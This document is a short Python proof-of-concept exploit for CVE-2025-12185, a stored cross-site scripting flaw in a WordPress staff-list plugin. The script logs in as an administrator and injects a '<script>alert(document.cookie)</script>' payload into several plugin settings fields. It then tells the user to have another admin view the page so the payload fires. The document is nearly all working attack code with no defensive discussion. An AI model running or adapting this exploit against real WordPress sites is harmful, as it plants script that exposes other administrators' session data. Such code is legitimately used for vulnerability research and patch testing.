CVE-2025-12185

import requests import sys from bs4 import BeautifulSoup # WordPress StaffList Plugin XSS PoC - CVE-2025-12185 # Target: WordPress site with StaffList plugin <= 3.2.6 # Requirements: Admin-level access target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress.local" admin_path = f"{target_url}/wp-admin/admin.php?page=sl-admin-settings" session = requests.Session() # Login as admin (requires valid credentials) def admin_login(session, username, password): login_url = f"{target_url}/wp-login.php" data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': admin_path } return session.post(login_url, data=data, allow_redirects=True) # XSS payload for StaffList settings fields xss_payload = '<script>alert(document.cookie)</script>' # Inject XSS into StaffList admin settings def inject_xss(session, field_name, payload): # Common StaffList settings fields settings_data = { field_name: payload, 'sl-options-submit': 'Save Changes' } return session.post(admin_path, data=settings_data) # Usage example if __name__ == "__main__": print(f"[*] Targeting: {target_url}") print("[*] Logging in as admin...") # Replace with actual credentials admin_login(session, "admin", "password") # Try common StaffList settings fields fields = ['sl_company_name', 'sl_company_address', 'sl_staff_title'] for field in fields: print(f"[*] Testing field: {field}") inject_xss(session, field, xss_payload) print("[+] XSS payload injected successfully") print("[+] Visit the affected page as another admin to trigger the payload")

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